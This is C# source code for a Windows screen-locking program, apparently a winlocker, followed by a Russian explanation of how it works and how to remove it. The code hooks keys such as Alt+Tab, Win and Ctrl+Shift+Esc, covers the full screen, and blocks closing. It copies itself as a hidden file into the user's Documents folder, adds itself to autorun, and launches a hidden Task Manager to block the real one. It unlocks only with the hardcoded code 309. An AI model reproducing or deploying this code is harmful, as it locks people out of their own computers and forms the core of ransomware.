        private delegate IntPtr LowLevelKeyboardProcDelegate(int nCode, IntPtr wParam, IntPtr lParam);

        //Setting all hooks
        public void SetHook()
        {
            //Hooks callbacks by delegate
            m_callback = LowLevelKeyboardHookProc_win;
            m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
            m_callback_2 = LowLevelKeyboardHookProc_ctrl;
            m_callback_3 = LowLevelKeyboardHookProc_del;
            m_callback_4 = LowLevelKeyboardHookProc_alt;
            m_callback_5 = LowLevelKeyboardHookProc_alt_space;
            m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;
            //Hooks setting
            m_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);
            m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);
        }

        //Keyboard unhooking
        public void Unhook()
        {
            UnhookWindowsHookEx(m_hHook);
            UnhookWindowsHookEx(m_hHook_1);
            UnhookWindowsHookEx(m_hHook_2);
            UnhookWindowsHookEx(m_hHook_3);
            UnhookWindowsHookEx(m_hHook_4);
            UnhookWindowsHookEx(m_hHook_5);
            UnhookWindowsHookEx(m_hHook_6);
        }

        //Set mouse event for further mouse emulation
        [DllImport("User32.dll")]
        static extern void mouse_event(MouseFlags dwFlags, int dx, int dy, int dwData, UIntPtr dwExtraInfo);
       
        //Mouse flags enum
        [Flags]
        enum MouseFlags
        {
            Move = 0x0001,
            LeftDown = 0x0002,
            LeftUp = 0x0004,
            RightDown = 0x0008,
            RightUp = 0x0010,
            Absolute = 0x8000
        };

       
        private void Form1_Load(object sender, EventArgs e)
        {
            SetHook();//Hook for keypressing capturing
            TopMost = true;//Make window of this aplication on the top of other windows

            //Making copy of current programm to "C:\Users\%username\Documents"
            //Full path to current file
            string currentAssembly = Assembly.GetExecutingAssembly().Location;
            //Current filename
            string fileName = Path.GetFileName(currentAssembly);
            //Destination folder
            string destinationDirectory = "C:\\Users\\";
            //Current username
            string username = Environment.UserName;
            //Documents folder
            string documents = "Documents\\";
            //Copied file
            string copy = Path.Combine(destinationDirectory, username, documents, fileName);

            //Flag for checking if running programm is not a child process
            bool flag = true;
            if (currentAssembly == copy)
            {
                flag = false;
            }
           
            //Copying to destination folder
            if (!System.IO.File.Exists(copy))
            {
                File.Copy(currentAssembly, copy, true);
                //Making copy file hidden, system and reading only               
                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);
                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);
            }
            else
            {
                //Making copy file hidden, system and reading only
                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);
                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);
            }

            //Running the copy of this programm to set it in the autorun only if current
//programm is not a recently made copy
            if (flag == true)
            {
                Process.Start(copy);
            }

            //Coordinates of new cursor position in the screen
            const int x = 32000;
            const int y = 32000;
            //Put mouse in the screen ceneter and click its right button to prevent ability
//of taskbar
            mouse_event(MouseFlags.Absolute | MouseFlags.Move, x, y, 0, UIntPtr.Zero);//Move
//cursor
            mouse_event(MouseFlags.Absolute | MouseFlags.RightDown, x, y, 0, UIntPtr.Zero);//
//Push mouse right button
            mouse_event(MouseFlags.Absolute | MouseFlags.RightUp, x, y, 0, UIntPtr.Zero);//
//Release mouse right button

            SetAutorunValue(true);//Call function to put this application to autorun
            this.Bounds = Screen.PrimaryScreen.WorkingArea;//Set form size equal to full
//screen size
            this.FormClosing += Form1_FormClosing_deny;//Binding addition to the form
//constructor
            Process p = new Process();//New process
            p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System);//Set working directoty
            p.StartInfo.FileName = "taskmgr.exe";//Set filename for process
            p.StartInfo.CreateNoWindow = true;//New window for starting process
            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//Making the window for
//process hidden
            p.Start();//Start taskmgr process
            this.Focus();//Focus on taskmgr
        }
       
       
        private void button1_Click(object sender, EventArgs e)
        {
            TopMost = true;
            string pass = "309";//Code (key data)
            //Checking if inputed data is equal to key data
            if(textBox1.Text == pass)
            {
                this.FormClosing += Form1_FormClosing_access;//Allow form closing
                Unhook();//Hooked keys unhooking               
                if (flag == true)
                {
                    Process.GetProcessesByName("taskmgr")[0].Kill();//Kill taskmgr
                }
                else
                {
                    Process.GetProcessesByName("taskmgr")[1].Kill();//Kill taskmgr
                }
                Form1.ActiveForm.Close();//Close form
            }
            //If inputed data is not equal to key data
            else
            {
                MessageBox.Show("WRONG CODE. TRY AGAIN.");//Message for user
                return;//Exit from button1 handler
            }
        }

    }
}
  Программа будет работать до тех пор, пока пользователь не введёт код 309 в поле textBox1 и не нажмёт клавишу <Enter> или кнопку button1 с надписью "SUBMIT". Более того, она будет помещена в автозагрузку и будет выполнена снова при следующем запуске ОС. Способами прекращения деятельности данной программы в ОС Windows являются либо введение кода и удаление программы из того каталога, где она была запущена в первый раз и из каталога C:\Users\%username%\Documents (где %username%  - имя текущего пользователя в ОС), а также удаление ключа реестра, отвечающего за автозапуск этой программы из раздела  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, либо выключение компьютера, запуск безопасного режима и удаление всего вышеперечисленного.